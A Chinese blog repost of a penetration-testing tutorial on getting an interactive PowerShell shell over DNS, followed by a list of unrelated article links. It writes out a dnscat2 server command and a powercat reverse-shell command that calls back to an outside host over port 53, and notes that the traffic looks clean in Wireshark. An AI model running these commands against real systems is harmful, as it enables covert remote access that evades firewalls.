博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
通过DNS通道传输的交互式PowerShell脚本
阅读量:7120 次
发布时间:2019-06-28

本文共 742 字,大约阅读时间需要 2 分钟。

摘自:http://www.freebuf.com/sectool/90616.html

欢迎来到一周PowerShell脚本的第五天,今天我们将讨论使用ICMP和DNS的交互式PowerShell脚本。

通常情况下防火墙都不会主动过滤ICMP和DNS数据包,这就让我们可以使用它们。下面就让我们来看看具体怎么利用吧。

对于DNS来说,我们需要使用Ron Bowes的dnscat2()作为服务端。当然如果目标机器是Windows系统,那么也可以使用powercat()。我们之前讨论过使用powercat了,那么下面来看看如何使用dnscat2。

首先,使用如下命令开启dnscat2服务端:

root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org

然后使用如下命令返回连接:

PS C:\> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org

效果如下:

很好!我们得到了一个通过DNS信道传输的交互式PowerShell脚本。

这里如果我们查看Wireshark的话不会发现有什么问题:

pcap包可以在这里下载到

(注:译者已将数据包搬运到国内云盘:链接: 密码:59oy)

上面的不是PowerShell脚本对吧,其实Nishang有一些使用DNS的脚本可以执行命令、脚本和msf的shellcode利用,但它们都不是交互式的脚本,所以这里就不提了,如果感兴趣可以查看之前的博文。

本文转自张昺华-sky博客园博客,原文链接:http://www.cnblogs.com/bonelee/p/7729459.html,如需转载请自行联系原作者

你可能感兴趣的文章
利用java concurrent 包实现日志写数据库的并发处理
查看>>
ADB高级应用
查看>>
HDU3572_Task Schedule(网络流最大流)
查看>>
Tcl 简单介绍及特性
查看>>
c#中单元测试
查看>>
Codeforces Round #342 (Div. 2) B. War of the Corporations 贪心
查看>>
Oracle 经常使用的改动语句
查看>>
基于Linux 3.0.8 Samsung FIMC(S5PV210) 的摄像头驱动框架解读(一)
查看>>
使用linq对字符串1,2,3,4,5,6,7,8,9,10求和
查看>>
POJ3977 Subset 折半枚举
查看>>
<转>C++ explicit关键字详解
查看>>
网络请求之GET、POST请求
查看>>
[I2C]pca9555应用层测试代码
查看>>
用C3P0建立server与数据库的连接
查看>>
3D Slicer Programmatically Set Slice Offset and Intersections 用代码修改Slicer中的切片偏移和交叉点显示...
查看>>
【转】Jenkins怎么启动和停止服务
查看>>
php通过shell调用Hadoop的方法
查看>>
WebGL 权威资源站小聚
查看>>
CodeForces 19D Points(离散化+线段树+单点更新)
查看>>
2-3 树
查看>>